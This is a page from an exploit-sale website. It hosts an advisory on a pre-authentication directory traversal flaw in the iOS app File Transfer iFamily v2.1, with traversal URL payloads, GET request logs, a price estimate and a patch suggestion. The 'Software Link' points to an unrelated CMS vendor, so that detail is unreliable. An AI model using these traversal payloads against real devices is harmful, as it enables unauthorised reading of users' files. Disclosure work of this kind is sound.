0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
File Transfer iFamily 2.1 - Directory Traversal Vulnerability
[# Title: File Transfer iFamily 2.1 - Directory Traversal # Software Link: http://www.dedecms.com/products/dedecms/downloads/ # CVE: N/A Document Title: =============== File Transfer iFamily v2.1 - Directory Traversal Vulnerability Vulnerability Class: ==================== Directory- or Path-Traversal Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Send photos, videos and documents to other devices without Internet. A complete application to exchange files wirelessly between devices. It uses the Multipeer Connectivity Framework to search and connect to available devices, without the need of internet connection or any kind of server and database. (Copy of the Homepage: https://apps.apple.com/us/app/file-transfer-ifamily-files-photo-video-documents-wifi/id957971575 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official File Transfer iFamily v2.1 ios mobile application. Affected Product(s): ==================== DONG JOO CHO Product: File Transfer iFamily v2.1 - iOS Mobile Web Application Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A directory traversal web vulnerability has been discovered in the official File Transfer iFamily v2.1 ios mobile application. The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path. The directory-traversal web vulnerability is located in the main application path request performed via GET method. Attackers are able to request for example the local ./etc/ path of the web-server by changing the local path in the performed request itself. In a first request the attack changes the path, the host redirects to complete the adress with "..". Then the attacker just attaches a final slash to its request and the path can be accessed via web-browser to download local files. Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction. Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise. Proof of Concept (PoC): ======================= The directory traversal vulnerability can be exploited by attackers with access to the wifi interface in a local network without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: Exploitation http://localhost/../../../../../../../../../../../../../../../../../../../../../../ http://localhost//../ --- PoC Session Logs [GET]] --- http://localhost/../../../../../../../../../../../../../../../../../../../../../../ Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 2521 - http://localhost../etc/ Host: localhost.. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 - add slash to correct host adress (/.././) http://localhost/./ Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 - Access granted http://localhost/../../../../../../../../../../../../../../../../../../../../../../ GET: HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 2521 Solution - Fix & Patch: ======================= The vulnerability can be patched by a restriction of the visible and accessable ./etc/ path in the app container. Disallow path changes in the client-side get method requests and validate them securely. # 0day.today [2024-05-20] #